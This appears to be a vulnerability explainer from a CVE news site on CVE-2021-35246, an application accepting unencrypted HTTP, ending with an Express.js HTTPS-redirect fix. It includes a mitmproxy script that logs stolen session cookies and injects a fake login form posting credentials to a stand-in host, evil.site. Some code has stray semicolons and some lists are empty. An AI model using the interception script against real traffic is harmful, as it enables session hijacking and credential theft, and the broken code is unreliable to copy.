CVE CyberSecurity Database News

CVE-2021-35246 - How Unencrypted Connections Can Turn Your Application Into a Playground for Hackers

Poster -

If you run a web application, you probably know the golden rule: always use SSL/TLS (that is, HTTPS) to keep your users’ data safe. But what happens if your app accidentally, or by design, allows people to connect over plain old HTTP—even when you “require” encryption? That’s exactly what happened with CVE-2021-35246, a serious vulnerability in some web software that could let attackers hijack user sessions, steal data, or even launch larger attacks. Let’s break down exactly what went wrong, and how attackers could exploit it.  

What Happened?

CVE-2021-35246 is all about “unencrypted connections.” Many web apps say, “I only work over HTTPS!”—but if someone can talk to your app over HTTP, that’s bad news. In this case, the application didn't properly block or redirect unencrypted HTTP traffic. That means anyone (including attackers) could connect to your app without any encryption at all.

In other words:

Why Is This So Dangerous?

When traffic isn’t encrypted (when it’s HTTP instead of HTTPS), anyone on the network can snoop, change, or steal what’s being sent and received. Attackers can pull off something called a *man-in-the-middle (MitM) attack*. They can:

Hijack sessions or impersonate users.

Even if your web app *uses* HTTPS *internally*, if you let people in via HTTP, you just gave attackers a back door.

Simple Attack Scenario: Step by Step

Let’s see how a real-world attacker could use this issue.

Intercept HTTP Request.

A legit user tries to go to http://yourapp.com (instead of https://yourapp.com).

Attacker Modifies HTTP Traffic.

Using a tool like mitmproxy, the attacker injects their own malicious content:

# mitmproxy script example
def response(flow):
    if "Set-Cookie" in flow.response.headers:
        # Steal session cookie
        cookie = flow.response.headers["Set-Cookie"]
        with open("/tmp/stolen_cookies.txt", "a") as f:
            f.write(cookie + "\n")
    if b"<body>" in flow.response.content:
        # Inject fake login form
        injected = b'''<form action="http://evil.site/login"; method="POST">
        Username: <input name="user">
        Password: <input name="pass" type="password">
        <input type="submit">
        </form>'''
        flow.response.content = flow.response.content.replace(b"<body>", b"<body>" + injected)

Even if the app “requires HTTPS,” an attacker can just use curl or any HTTP client

curl -i http://yourapp.com/login


If the app allows this (and doesn’t redirect to HTTPS or reject non-SSL), attackers can automate their attacks, scrape data, or brute-force accounts—all in clear text.

Why Didn’t the App Force HTTPS?

Some apps forget to add an automatic redirect. Others have a config mistake that allows HTTP by default. Sometimes, older apps *never* set up HTTPS properly in the first place.

Here's a simple Express.js example of a redirect middleware

app.use(function(req, res, next) {
  if (req.headers['x-forwarded-proto'] !== 'https') {
    // Redirect to the same URL but HTTPS
    return res.redirect('https://'; + req.headers.host + req.url);
  }
  next();
});

References

- NVD Entry for CVE-2021-35246
- OWASP: Transport Layer Protection Cheat Sheet
- Mozilla: HTTP Strict Transport Security (HSTS)
- Community discussion: Exploit Details for CVE-2021-35246

The Bottom Line

If your application lets users in via unencrypted connections—intentionally or not—it’s as if you just took the doors off your vault. Anyone on the network can spy, steal, or destroy. Developers must check not just that HTTPS *works*, but that HTTP *doesn’t*. Patch CVE-2021-35246-like bugs by always enforcing encryption.  

Don’t let your app become a playground for attackers.

Timeline

Published on: 11/23/2022 17:15:00 UTC
Last modified on: 11/28/2022 18:12:00 UTC